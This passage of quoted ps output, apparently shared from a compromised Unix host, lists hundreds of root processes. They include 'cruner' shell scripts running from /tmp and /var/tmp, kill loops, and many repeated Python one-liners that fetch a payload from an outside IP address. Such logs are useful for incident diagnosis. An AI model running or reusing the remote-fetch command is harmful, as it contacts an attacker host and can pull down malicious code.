<defunct> > root 14939 14230 0 - ? 0:00 <defunct> > root 17805 28432 0 15:46:08 ? 0:00 bash -sh > root 24032 1478 0 15:44:54 ? 0:00 bash -sh > root 24579 12870 0 - ? 0:00 <defunct> > root 14378 27412 0 15:45:21 ? 0:00 sleep 60 > root 27016 11169 0 15:45:34 ? 0:00 sleep 60 > root 29700 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21917 16353 0 15:46:09 ? 0:00 sleep 60 > root 16449 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28298 14018 0 15:44:21 ? 0:00 bash -sh > root 16199 162 0 - ? 0:00 <defunct> > root 19762 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 25035 9960 0 15:45:27 ? 0:00 sleep 60 > root 11465 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 14125 14629 0 15:44:05 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 4431 4344 0 15:45:24 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 197 10027 0 15:45:27 ? 0:00 sleep 60 > root 28251 8740 0 - ? 0:00 <defunct> > root 381 22325 0 15:45:58 ? 0:00 sleep 60 > root 6218 3050 0 15:45:20 ? 0:00 sleep 60 > root 10648 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 25453 22917 0 - ? 0:00 <defunct> > root 18929 7829 0 15:43:28 ? 0:00 bash -sh > root 23718 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 27594 2736 0 - ? 0:00 <defunct> > root 27626 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 8326 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7388 21122 0 15:45:09 ? 0:00 bash -sh > root 6623 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 18924 15713 0 15:43:28 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 1639 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 8480 16300 0 15:46:12 ? 0:00 bash -sh > root 16450 6347 0 15:44:52 ? 0:00 bash -sh > root 2237 23448 0 15:45:53 ? 0:00 bash -sh > root 2715 15872 0 15:45:27 ? 0:00 sleep 60 > root 3945 16326 0 15:46:06 ? 0:00 sleep 60 > root 5303 14494 0 15:45:40 ? 0:00 sleep 60 > root 27582 25500 0 15:45:34 ? 0:00 sleep 60 > root 23125 23115 0 15:45:43 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 23002 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17374 19827 0 15:46:00 ? 0:00 bash -sh > root 27451 20601 0 15:45:34 ? 0:00 /bin/ksh -p /bin/kill -9 > root 20967 65 0 15:45:17 ? 0:00 bash -sh > root 9910 25118 0 15:43:01 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 13812 24700 0 - ? 0:00 <defunct> > root 12584 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 25740 14253 0 - ? 0:00 <defunct> > root 3996 10020 0 15:44:02 ? 0:00 bash -sh > root 23326 28045 0 15:46:01 ? 0:00 bash -sh > root 15606 25980 0 15:45:25 ? 0:00 sleep 60 > root 20031 14282 0 - ? 0:00 <defunct> > root 25538 19399 0 15:44:54 ? 0:00 bash -sh > root 578 6040 0 15:44:01 ? 0:00 bash -sh > root 15642 12295 0 15:45:46 ? 0:00 bash -sh > root 14481 26596 0 15:46:04 ? 0:00 sleep 60 > root 18832 12252 0 15:45:51 ? 0:00 sleep 60 > root 13820 28315 0 - ? 0:00 <defunct> > root 21891 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 8045 372 0 15:45:20 ? 0:00 bash -sh > root 6828 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18951 25753 0 15:46:00 ? 0:00 sleep 60 > root 14074 23460 0 - ? 0:00 <defunct> > root 18974 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 18637 28220 0 15:45:42 ? 0:00 bash -sh > root 3909 15679 0 15:45:19 ? 0:00 sleep 60 > root 1413 10780 0 - ? 0:00 <defunct> > root 8361 27721 0 15:46:12 ? 0:00 bash -sh > root 27519 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15681 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 19254 14891 0 - ? 0:00 <defunct> > root 13501 7086 0 15:45:21 ? 0:00 sleep 60 > root 20129 8154 0 - ? 0:00 <defunct> > root 4008 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 12795 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26795 16583 0 15:46:10 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 593 573 0 15:46:11 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 8857 21018 0 15:46:07 ? 0:00 bash -sh > root 13871 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16524 2824 0 15:46:13 ? 0:00 bash -sh > root 15695 20563 0 - ? 0:00 <defunct> > root 3352 449 0 15:46:06 ? 0:00 sleep 60 > root 2067 23636 0 15:45:19 ? 0:00 sleep 60 > root 17599 716 0 15:46:13 ? 0:00 bash -sh > root 27540 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4299 21151 0 15:45:49 ? 0:00 bash -sh > root 28558 28746 0 15:45:34 ? 0:00 sleep 60 > root 240 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4216 7475 0 15:44:23 ? 0:00 bash -sh > root 16970 8811 0 - ? 0:00 <defunct> > root 15153 7229 0 15:46:08 ? 0:00 bash -sh > root 11022 14026 0 15:46:07 ? 0:00 sleep 60 > root 27396 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19432 3434 0 15:45:16 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 15331 12825 0 15:45:05 ? 0:00 bash -sh > root 21350 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 9506 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18315 19880 0 15:43:33 ? 0:00 bash -sh > root 836 9055 0 - ? 0:00 <defunct> > root 1763 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 253 28050 0 15:45:34 ? 0:00 sleep 60 > root 19577 24685 0 - ? 0:00 <defunct> > root 3822 15536 0 - ? 0:00 <defunct> > root 10835 26195 0 15:46:07 ? 0:00 sleep 60 > root 12111 5661 0 15:46:13 ? 0:00 /bin/ksh -p /bin/kill -9 > root 3021 3392 0 15:45:00 ? 0:00 bash -sh > root 18125 7961 0 15:46:00 ? 0:00 sleep 60 > root 7919 11684 0 - ? 0:00 <defunct> > root 7549 1480 0 15:45:54 ? 0:00 sleep 60 > root 19687 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2984 15500 0 - ? 0:00 <defunct> > root 9220 25982 0 - ? 0:00 <defunct> > root 5651 1865 0 - ? 0:00 <defunct> > root 18409 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 18093 4417 0 - ? 0:00 <defunct> > root 13679 28623 0 - ? 0:00 <defunct> > root 4278 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23835 25144 0 15:43:14 ? 0:00 bash -sh > root 18103 27617 0 15:44:48 ? 0:00 xargs kill -9 > root 17356 9570 0 15:44:52 ? 0:00 bash -sh > root 2182 4363 0 15:44:55 ? 0:00 bash -sh > root 25062 21158 0 15:45:47 ? 0:00 sleep 60 > root 4203 6556 0 15:45:09 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2420 8035 0 15:45:48 ? 0:00 sleep 60 > root 21290 1 0 16:47:10 ? 0:01 sh /var/tmp/cruner > root 29058 14360 0 - ? 0:00 <defunct> > root 20794 18972 0 15:43:13 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 10586 10017 0 15:45:55 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 5319 23755 0 15:46:06 ? 0:00 sleep 60 > root 11040 18307 0 - ? 0:00 <defunct> > root 28853 21341 0 15:45:34 ? 0:00 sleep 60 > root 24462 287 0 15:46:10 ? 0:00 sed -e s/\/.*//g > root 7905 9964 0 - ? 0:00 <defunct> > root 25402 23833 0 15:45:13 ? 0:00 bash -sh > root 12269 10529 0 - ? 0:00 <defunct> > root 25455 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12142 1964 0 15:46:08 ? 0:00 sleep 60 > root 10393 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 25590 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8793 9033 0 15:44:14 ? 0:00 bash -sh > root 9820 7675 0 15:45:59 ? 0:00 sleep 60 > root 17155 9322 0 15:43:27 ? 0:00 bash -sh > root 10675 8071 0 15:46:07 ? 0:00 sleep 60 > root 29251 18489 0 - ? 0:00 <defunct> > root 8876 12516 0 15:45:58 ? 0:00 sleep 60 > root 16063 14812 0 15:44:16 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 7313 613 0 15:46:07 ? 0:00 bash -sh > root 1791 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26716 28431 0 15:45:18 ? 0:00 sleep 60 > root 12205 16951 0 - ? 0:00 <defunct> > root 24293 21200 0 - ? 0:00 <defunct> > root 2287 22927 0 15:45:35 ? 0:00 bash -sh > root 6414 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7647 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11265 22578 0 15:43:01 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 13773 25963 0 15:44:16 ? 0:00 bash -sh > root 11746 8704 0 15:45:41 ? 0:00 bash -sh > root 15269 900 0 - ? 0:00 <defunct> > root 22790 2559 0 15:45:26 ? 0:00 sleep 60 > root 9582 13874 0 - ? 0:00 <defunct> > root 24830 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13890 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8479 24071 0 15:43:09 ? 0:00 bash -sh > root 24548 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2160 6502 0 15:44:11 ? 0:00 bash -sh > root 25546 22662 0 15:45:39 ? 0:00 bash -sh > root 12611 23193 0 - ? 0:00 <defunct> > root 10033 8167 0 - ? 0:00 <defunct> > root 26125 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 16244 21945 0 15:45:46 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 28856 28445 0 15:45:18 ? 0:00 sleep 60 > root 6207 22870 0 15:45:20 ? 0:00 sleep 60 > root 10832 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15826 7648 0 - ? 0:00 <defunct> > root 21868 17211 0 15:45:57 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11621 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 24398 10486 0 15:45:17 ? 0:00 sleep 60 > root 14587 28753 0 - ? 0:00 <defunct> > root 1653 2043 0 15:46:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 7227 1389 0 15:46:07 ? 0:00 bash -sh > root 23321 18437 0 15:45:30 ? 0:00 bash -sh > root 1586 19397 0 15:45:39 ? 0:00 sh /var/tmp/cruner > root 18613 15742 0 15:46:13 ? 0:00 /bin/ksh -p /bin/kill -9 > root 29696 2242 0 15:46:11 ? 0:00 bash -sh > root 22077 27305 0 15:45:22 ? 0:00 bash -sh > root 2006 24917 0 - ? 0:00 <defunct> > root 15350 11582 0 - ? 0:00 <defunct> > root 8027 19056 0 15:44:38 ? 0:00 sh /var/tmp/cruner > root 24410 22159 0 - ? 0:00 <defunct> > root 26972 16352 0 15:45:47 ? 0:00 sleep 60 > root 25662 10114 0 15:44:09 ? 0:00 bash -sh > root 23042 173 0 15:45:02 ? 0:00 bash -sh > root 16372 22528 0 15:44:52 ? 0:00 bash -sh > root 12740 7168 0 15:45:55 ? 0:00 /bin/ksh -p /bin/kill -9 > root 24324 12286 0 - ? 0:00 <defunct> > root 23105 1730 0 15:46:09 ? 0:00 sed -e s/\/.*//g > root 29349 18107 0 15:45:24 ? 0:00 bash -sh > root 23446 5309 0 - ? 0:00 <defunct> > root 11822 11821 0 - ? 0:00 <defunct> > root 28981 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28914 12069 0 15:45:57 ? 0:00 bash -sh > root 28632 14304 0 - ? 0:00 <defunct> > root 26420 13212 0 15:45:47 ? 0:00 /bin/ksh -p /bin/kill -9 > root 4060 17967 0 15:45:58 ? 0:00 sleep 60 > root 18244 17209 0 15:46:13 ? 0:00 sh /tmp/cruner > root 15647 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 942 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 2991 966 0 15:45:14 ? 0:00 bash -sh > root 17551 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 14340 8265 0 15:46:13 ? 0:00 /bin/ksh -p /bin/kill -9 > root 26650 3662 0 15:46:10 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 3222 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24812 3658 0 - ? 0:00 <defunct> > root 20534 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 1938 14409 0 15:45:24 ? 0:00 sleep 60 > root 4978 23288 0 - ? 0:00 <defunct> > root 6189 2084 0 15:43:18 ? 0:00 bash -sh > root 1851 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1945 23265 0 15:43:36 ? 0:00 bash -sh > root 6832 28101 0 15:46:07 ? 0:00 sleep 60 > root 5824 22497 0 15:45:35 ? 0:00 bash -sh > root 21496 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10922 8853 0 15:45:55 ? 0:00 xargs kill -9 > root 4463 5222 0 15:45:28 ? 0:00 sleep 60 > root 11344 22646 0 15:45:59 ? 0:00 bash -sh > root 12759 25929 0 - ? 0:00 <defunct> > root 20423 20827 0 15:45:29 ? 0:00 sleep 60 > root 511 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3373 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22226 15793 0 15:46:09 ? 0:00 sleep 60 > root 29978 9963 0 15:45:14 ? 0:00 bash -sh > root 5400 26869 0 15:44:13 ? 0:00 bash -sh > root 21473 6252 0 15:45:12 ? 0:00 bash -sh > root 1306 1292 0 15:46:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 27465 18451 0 15:46:02 ? 0:00 sh /var/tmp/cruner > root 7162 29530 0 15:45:04 ? 0:00 bash -sh > root 16714 23980 0 15:46:08 ? 0:00 sleep 60 > root 2630 2586 0 15:45:14 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 26041 14783 0 - ? 0:00 <defunct> > root 20586 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 10699 16927 0 - ? 0:00 <defunct> > root 26011 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6721 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 24038 22467 0 - ? 0:00 <defunct> > root 18288 22452 0 - ? 0:00 <defunct> > root 28372 1 0 23:49:18 ? 0:00 sh /var/tmp/cruner > root 27998 22703 0 15:45:18 ? 0:00 sleep 60 > root 3044 8650 0 - ? 0:00 <defunct> > root 13135 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 5535 6571 0 15:44:38 ? 0:00 bash -sh > root 12964 19224 0 15:45:41 ? 0:00 sleep 60 > root 2226 2011 0 15:46:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 18536 14298 0 15:44:53 ? 0:00 bash -sh > root 16613 7044 0 - ? 0:00 <defunct> > root 334 326 0 15:44:41 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 5957 8173 0 - ? 0:00 <defunct> > root 23593 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12310 28097 0 15:46:08 ? 0:00 sleep 60 > root 12908 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 18520 13697 0 - ? 0:00 <defunct> > root 26126 6506 0 - ? 0:00 <defunct> > root 9516 15515 0 15:45:28 ? 0:00 bash -sh > root 21791 21251 0 15:45:47 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 28945 7727 0 15:45:43 ? 0:00 sh /var/tmp/cruner > root 20784 7860 0 15:45:17 ? 0:00 sleep 60 > root 2272 21619 0 15:46:06 ? 0:00 sleep 60 > root 5095 5072 0 15:45:54 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 13765 28562 0 15:46:04 ? 0:00 sleep 60 > root 11500 1181 0 15:45:45 ? 0:00 sleep 60 > root 11563 13350 0 15:45:55 ? 0:00 bash -sh > root 25000 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28206 1170 0 - ? 0:00 <defunct> > root 4323 3673 0 15:45:19 ? 0:00 sleep 60 > root 709 6941 0 15:46:06 ? 0:00 bash -sh > root 4378 3621 0 - ? 0:00 <defunct> > root 27719 25155 0 15:45:34 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 18388 10988 0 15:43:56 ? 0:00 bash -sh > root 17695 26756 0 15:44:57 ? 0:00 bash -sh > root 19899 26148 0 15:45:33 ? 0:00 sleep 60 > root 16421 24878 0 15:46:00 ? 0:00 sh /tmp/cruner > root 29348 3711 0 - ? 0:00 <defunct> > root 14830 10485 0 - ? 0:00 <defunct> > root 10721 23675 0 15:46:12 ? 0:00 bash -sh > root 17046 21608 0 15:44:57 ? 0:00 bash -sh > root 19919 1222 0 15:44:18 ? 0:00 bash -sh > root 12037 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13029 10884 0 - ? 0:00 <defunct> > root 1209 19639 0 15:46:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 16476 28712 0 15:46:08 ? 0:00 bash -sh > root 1849 13500 0 15:46:06 ? 0:00 bash -sh > root 11875 8536 0 15:45:59 ? 0:00 bash -sh > root 6525 6867 0 - ? 0:00 <defunct> > root 20008 15218 0 15:45:29 ? 0:00 sleep 60 > root 27032 20217 0 - ? 0:00 <defunct> > root 28936 12267 0 15:44:10 ? 0:00 bash -sh > root 23640 18198 0 - ? 0:00 <defunct> > root 13169 15476 0 - ? 0:00 <defunct> > root 8206 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 10859 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 23920 11104 0 15:45:57 ? 0:00 sleep 60 > root 14490 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28379 3427 0 15:45:34 ? 0:00 sleep 60 > root 9787 3702 0 15:46:07 ? 0:00 sleep 60 > root 25349 24442 0 15:45:33 ? 0:00 sleep 60 > root 13809 17828 0 15:45:55 ? 0:00 sleep 60 > root 26153 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 4579 11603 0 15:45:04 ? 0:00 bash -sh > root 18105 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2091 537 0 15:45:44 ? 0:00 sleep 60 > root 21745 2414 0 15:46:01 ? 0:00 bash -sh > root 13386 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14078 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 18691 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1699 1537 0 15:45:31 ? 0:00 sleep 60 > root 11239 26513 0 - ? 0:00 <defunct> > root 22764 14758 0 - ? 0:00 <defunct> > root 24351 1111 0 15:46:05 ? 0:00 sleep 60 > root 17946 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7900 28876 0 15:45:25 ? 0:00 sleep 60 > root 14926 5922 0 15:45:37 ? 0:00 sleep 60 > root 12481 23424 0 15:46:08 ? 0:00 sed -e s/\/.*//g > root 16288 15339 0 - ? 0:00 <defunct> > root 28219 23439 0 15:45:08 ? 0:00 bash -sh > root 18268 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20269 26268 0 15:42:54 ? 0:00 bash -sh > root 24511 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 7576 7546 0 15:46:07 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 22090 27167 0 15:45:26 ? 0:00 sleep 60 > root 7644 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 5492 13147 0 15:44:13 ? 0:00 bash -sh > root 488 690 0 15:44:11 ? 0:00 bash -sh > root 25728 25715 0 15:44:20 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11406 20649 0 15:44:30 ? 0:00 bash -sh > root 12329 25605 0 15:44:43 ? 0:00 bash -sh > root 12729 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 3528 19057 0 15:45:48 ? 0:00 sh /var/tmp/cruner > root 25683 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3980 8544 0 15:44:23 ? 0:00 bash -sh > root 7273 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 16787 16855 0 15:45:16 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 3619 16534 0 15:45:58 ? 0:00 sleep 60 > root 29820 26248 0 15:45:34 ? 0:00 sleep 60 > root 12021 27403 0 15:45:59 ? 0:00 bash -sh > root 5913 16323 0 15:45:49 ? 0:00 sleep 60 > root 10603 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29342 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 16733 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9898 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 27923 18160 0 15:45:18 ? 0:00 sleep 60 > root 18630 18617 0 15:44:26 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2499 2490 0 15:45:35 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 9732 5607 0 - ? 0:00 <defunct> > root 14155 14132 0 15:45:37 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 26580 14793 0 15:45:18 ? 0:00 sleep 60 > root 15124 15106 0 15:46:08 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 24189 515 0 15:44:20 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 17960 70 0 - ? 0:00 <defunct> > root 9384 303 0 - ? 0:00 <defunct> > root 17966 27152 0 15:45:26 ? 0:00 sleep 60 > root 18230 18307 0 15:46:13 ? 0:00 bash -sh > root 6811 16745 0 15:45:20 ? 0:00 sleep 60 > root 12946 4503 0 15:46:13 ? 0:00 bash -sh > root 16152 3293 0 15:45:56 ? 0:00 xargs kill -9 > root 13461 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7281 5236 0 15:45:04 ? 0:00 bash -sh > root 10416 1052 0 - ? 0:00 <defunct> > root 19501 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7840 29207 0 15:46:07 ? 0:00 sleep 60 > root 5846 15357 0 - ? 0:00 <defunct> > root 3700 3655 0 15:44:42 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 6354 12600 0 15:45:35 ? 0:00 bash -sh > root 21979 17654 0 - ? 0:00 <defunct> > root 4407 20720 0 - ? 0:00 <defunct> > root 3715 5064 0 - ? 0:00 <defunct> > root 15735 27406 0 - ? 0:00 <defunct> > root 13766 28391 0 15:45:21 ? 0:00 bash -sh > root 7331 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21454 23747 0 - ? 0:00 <defunct> > root 21180 27005 0 - ? 0:00 <defunct> > root 1998 18121 0 15:45:14 ? 0:00 bash -sh > root 4906 13968 0 - ? 0:00 <defunct> > root 313 23163 0 15:45:34 ? 0:00 sleep 60 > root 24966 10186 0 15:45:33 ? 0:00 bash -sh > root 10924 8012 0 15:45:50 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 24159 14524 0 15:45:57 ? 0:00 sleep 60 > root 14773 27036 0 15:46:08 ? 0:00 bash -sh > root 16912 3606 0 15:45:42 ? 0:00 sh /tmp/cruner > root 18836 29387 0 15:46:13 ? 0:00 bash -sh > root 11607 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11643 20967 0 - ? 0:00 <defunct> > root 15605 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18516 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 16963 21603 0 - ? 0:00 <defunct> > root 12988 15952 0 - ? 0:00 <defunct> > root 23692 6357 0 15:44:08 ? 0:00 bash -sh > root 11305 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25754 27354 0 - ? 0:00 <defunct> > root 23956 14054 0 15:46:01 ? 0:00 bash -sh > root 29936 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 7585 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15893 27240 0 - ? 0:00 <defunct> > root 2121 28275 0 15:45:48 ? 0:00 sleep 60 > root 29312 1 0 17:11:05 ? 0:01 sh /var/tmp/cruner > root 2236 18191 0 - ? 0:00 <defunct> > root 16885 12396 0 15:46:13 ? 0:00 sh /var/tmp/cruner > root 14999 11133 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 8730 4935 0 15:42:53 ? 0:00 bash -sh > root 11702 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4604 968 0 - ? 0:00 <defunct> > root 25680 10825 0 - ? 0:00 <defunct> > root 9264 15307 0 15:45:54 ? 0:00 bash -sh > root 3267 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6774 20163 0 15:46:12 ? 0:00 bash -sh > root 24063 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18418 26511 0 15:43:03 ? 0:00 bash -sh > root 13956 23654 0 - ? 0:00 <defunct> > root 26428 17617 0 - ? 0:00 <defunct> > root 13416 25487 0 - ? 0:00 <defunct> > root 23394 29840 0 15:46:09 ? 0:00 bash -sh > root 15685 13623 0 15:46:13 ? 0:00 bash -sh > root 14107 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 28348 9357 0 - ? 0:00 <defunct> > root 16418 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 26001 15517 0 15:46:05 ? 0:00 sleep 60 > root 13698 24136 0 15:44:52 ? 0:00 bash -sh > root 18514 19077 0 - ? 0:00 <defunct> > root 27798 21785 0 15:46:02 ? 0:00 sh /var/tmp/cruner > root 15787 14320 0 15:43:21 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 23076 1340 0 15:45:43 ? 0:00 bash -sh > root 9060 23967 0 15:45:40 ? 0:00 bash -sh > root 20821 17879 0 15:44:53 ? 0:00 bash -sh > root 418 5425 0 15:45:48 ? 0:00 sh /tmp/cruner > root 25658 25654 0 15:45:17 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 23704 10828 0 15:45:43 ? 0:00 bash -sh > root 19725 2928 0 - ? 0:00 <defunct> > root 19191 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1063 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1261 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 24107 26818 0 15:44:58 ? 0:00 bash -sh > root 9407 9366 0 15:45:15 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 23440 23614 0 - ? 0:00 <defunct> > root 12902 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2386 22112 0 15:45:35 ? 0:00 bash -sh > root 22453 22728 0 15:46:01 ? 0:00 bash -sh > root 17680 7301 0 15:46:13 ? 0:00 sh /var/tmp/cruner > root 390 7245 0 15:45:18 ? 0:00 sleep 60 > root 21303 26788 0 15:45:52 ? 0:00 bash -sh > root 1003 15856 0 15:45:48 ? 0:00 sh /tmp/cruner > root 8840 26530 0 - ? 0:00 <defunct> > root 20266 316 0 15:45:12 ? 0:00 sh /var/tmp/cruner > root 755 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 14063 24446 0 - ? 0:00 <defunct> > root 4078 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12574 25862 0 - ? 0:00 <defunct> > root 378 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4762 2233 0 15:44:12 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 28145 10639 0 - ? 0:00 <defunct> > root 11812 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25311 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 17089 17267 0 15:45:56 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 5672 9798 0 - ? 0:00 <defunct> > root 4017 16793 0 15:45:58 ? 0:00 sleep 60 > root 